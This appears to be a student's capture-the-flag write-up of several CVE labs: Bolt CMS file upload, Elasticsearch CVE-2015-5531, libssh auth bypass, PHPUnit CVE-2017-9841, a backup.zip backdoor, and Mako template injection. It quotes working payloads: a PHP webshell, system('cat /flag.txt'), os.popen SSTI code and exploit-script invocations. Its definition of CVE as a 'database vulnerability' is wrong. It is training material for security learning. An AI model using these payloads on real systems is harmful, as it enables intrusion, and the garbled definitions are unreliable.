Bolt

when we are going through the lab in description we have comment like <<welcome to the magical world of advanture of CVE >>

CVE is common vulnerability and exploit , in addition it is database vulnerability.

When we are going into website here is just sample site parameters and nothing special so first step is to go into page source and see if we have here any hint .

Then we need to login and to modify search line like /bolt/login

to login we can search default credentials for bolt cvs

like admin password

and we can log in in

then we need to go into file menegment where we can uploud file , if we try to upload php file we have error because we have some shezghudvebi so let;t try to upload simple text document where we can write php cmd code

<?php echo system($\_GET['cmd']);?>

So echo is php function used to output data to the web page /

System() is php function that allows us to execute shell commands

So then let’s try to upload this document and modify , like rename file after uploading .

Rename with html and then with php

When we are going trough php link we need to modify search value

35.198.135.192:30424/files/rce.php?cmd=id

/files/rce.php?cmd=cat /flag.txt

So the vulnerability of this lab is cve which is database vulnerability.

It employs the Common Vulnerability Scoring System (CVSS) to assess the severity or threat level associated with each vulnerability. The aim of CVE is to systematically track and document vulnerabilities present in consumer software and hardware, to prevent website from cve vulnerability it’s good to set secure authentication and authorization mechamism , make security testing , secure file uploads and implement session managmets and etc.

Elastic

So exploit is a program or just piece of code which is used to find vulnerability in n pplication or computer system typically for malicious activity. Attackers write their code and injects various type of malware into system and expoit is like pass .

In description we have smthng like <<Directory traversal vulnerability in Elasticsearch allows remote attackers to read arbitrary files via unspecified vectors related to snapshot API calls. >>

So when we are going into the lab our hint is version , also the hash value .

After version identify we can get information about this version with CVE website it glossary that specifies vulnerability details

First hint is Elasticsearch<1.6.1 arbitrary file read CVE .

To find exploit we can use exploitdb .

Then try to use linux terminal and run command

Searchsploit elasticsearch

Searchsploit -m linux file

Exploit we can wee in github and just downlod file

<https://github.com/nixawk/labs/blob/master/CVE-2015-5531/exploit.py>

and then run command $

python exploit.py [http://35.198.135.192:32580](http://35.198.135.192:32580/) /etc/passwd

and yes here we have the flag

the vulnerability of this lab is version vulnerability because it’s to old and it’s easy to find information,to sum up we can say that cve is database vulnerability it’s stands for Common Vulnerabilities and Exposures and the system provides a method for publicly sharing information on cybersecurity vulnerabilities and exposures.

The version is old too and it’s easily crackable

We can use Metasploit , so Metasploit is a world's leading open-source penetrating framework used by security engineers as a penetration testing system and a development platform that allows to create security tools and exploits too .

So to run metasploit we need to write command like

$msfconsole

msfconsole

search elasticsearch

use 3

info

set rhosts (ip)

set rport (port)

info

run

cat da file

libssh

while we are going trough the lab we have hint like

: <<Welcome to the magical world of Adventure of CVE. Explore as much as you can this land of services.>>

$nmap –sV –sC –p 31367 34.141.12.127 -Pn

Port scanning

1. **nmap**: This is the command to invoke the nmap tool, which is used for network exploration and security auditing.
2. **–sV**: This option tells nmap to perform service version detection. It attempts to determine the version of the service running on the specified port.
3. **–sC**: This option tells nmap to use the default nmap scripting engine. The scripting engine provides various scripts for additional scanning and information gathering.
4. **–p 31367**: This option specifies the port number (in this case, port 31367) that nmap will target for scanning.
5. **34.141.12.127**: This is the IP address of the target system that nmap will scan.
6. **-Pn**: This option tells nmap not to perform host discovery. By default, nmap uses host discovery to determine if the target host is up before initiating the scan. The **-Pn** flag disables this and assumes the host is up.

In summary, this command instructs nmap to scan the IP address 34.141.12.127 on port 31367, attempt to determine the version of the service running on that port, use default nmap scripting for additional scanning, and assume the host is up without performing host discovery.

**cd** stands for "change directory."

We can use searchsploit libssh

Searchsploit -m

While we are going to find exploit we can get more details about it to easily identify vulnerabilities , we can use After version identify we can get information about this version with CVE website it glossary that specifies vulnerability details , also to find exploit we can use exploitdb .

the vulnerability of this lab is version vulnerability because it’s to old and it’s easy to find information,to sum up we can say that cve is database vulnerability it’s stands for Common Vulnerabilities and Exposures and the system provides a method for publicly sharing information on cybersecurity vulnerabilities and exposures.

The version is old too and it’s easily crackable

python3  cve-2018-10993.py  35.198.135.192 -p 31241 -c "cd . . ; cat /flag.txt"

php unit

at the we are going through the lab in description we have hint like << Welcome to the magical world of Adventure of CVE> >

Cve is critical vulnerability and exposures.

This is database vulnerability .

To solve this lab we can use dirsearch – it is and command line tool for brute forcing of directories and files in webserver .

we can use kali linux and run command

dirsearch -u URL

we can find version of php-uit /composor.json when we modify search value by this we can understand that our phpunit is vulnerable

we can search 5.6.2 version and w have cve-2017-9841 vulnarability details

so we can search 5.6.2 vulnerebility php-unit and we can see github page and also cve page where we can see exploits and versions also CVSS Meta Temp Score. That’s sown in next pictures . when we are going trough github link we have here some info too like

<end the request to http://your-ip:8080/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, which contains any PHP code within the body:> and to find ctf we can use burp suite

CVE-2017-9841 is a security vulnerability that allows a malicious user to execute PHP code remotely on websites that are vulnerable. This vulnerability arises from a weakness in PHPUnit, a widely used testing framework for PHP. Exploiting this weakness enables the attacker to run their own PHP code on the affected websites, potentially leading to unauthorized access or other malicious actions.

and also vulnerable path /static.php

then we can use burp suite and use **<?php system('cat /flag.txt')?>**

As I alredy mantion vulnerability of this lab is php cve vulnerability , version vulnerability because it’s old also when we get info like CVSS Meta Temp Score is 8.4

**Non-diff**

While we are going through the lab in the description we have hint like << Our website has been breached multiple times. Now we even found a backup.zip in a public path and still can not find the backdoor.>> and that means website has backdoor problem.

Backdoor is a code used by attacker to get accces on target computer with bypass security systems .

Backdoors most of time is shown as a wordpress files and it is hidden with

Wordpress themes , plugins , uploud folders and etc.

So here we need to find zip file called backup.zip file

To solve this lab we can use dirsearch – it is and command line tool for brute forcing of directories and files in webserver .

Then we can find backup.zip file and unzip it

Then copy it with gurl and try to download

Also, we can download it with kali terminal and use WGET

Like: **$wget http://35.198.135.192:30381/backup.zip**

**$ls**

Copy backup.zip to the new folder and unzip it

Now is time to find some backdoor. Because application use PHP code we try to search from vulnerable function in PHP:

<https://gist.github.com/mccabe615/b0907514d34b2de088c4996933ea1720>

Then: **$ grep –r “shell\_exec(“**

So, let’s back on our website and try to modify url

Firstly, like that: 35.198.135.192:30381/?**welldone=knockknock&shazam=id**

Secondly:

35.198.135.192:30381/?welldone=knockknock&shazam=cat flag.php

So our CTF is in page source

CTF{87702788126237df9c4a915fea9441345dc6b3a0272b214b2c31e50a8f89c4b1}

CONCLUSION

We need to use $dirsearch for brute forcing

$wget is for web get , it is file downloader command

**$grep** Grep is a powerful command-line tool used for searching and manipulating text within files and directories in Kali Linux.

In addition vulnerability of this website is that

The Insecure Direct Object References (IDOR): Attackers manipulate input to access unauthorized resources or manipulate data.

* File Upload Vulnerabilities, Security Misconfigurations , Default or weak settings in web servers, databases, or other components, Insufficient encryption for data in transit or at rest.
* Lack of HTTPS, leading to data interception and tampering.

Shark

While we are going trough the lab here we have no any hint and that only mention that we need to find exploit shark.

Firstly let’s go and test website with some vulnerabilities and find what might could be vulnerability of it

When we are trying to use some mathematical mechanism syntax like

${7\*7} we have result 49 by with we can identify that the vulnerability of this lab is ssti vulnerability which is server side template vulnerability – by with attacker try to use native template syntax to inject malicious payload ,which is executed server side .

At the first time we can use curl to get detail information

$curl -I URL

We can see that it’s writer with python

If we decide that if the **"mako "** payload is used will lead to reading sensitive information on the server.

https://0x1.gitlab.io/web-security/Server-Side-Template-Injection/#mako

here we have script which we can use

let’s use also and start Burp suit to modify script

with

<%

import os

x=os.popen('id').read()

%>

${x}

So at the end the vulnerability of this website is lack of input validation , dynamic data maybe , user input vulnerabilities that gives attackers ability to do some injections , etmplate engines or frameworks

this server is vulnerable to SSTI injection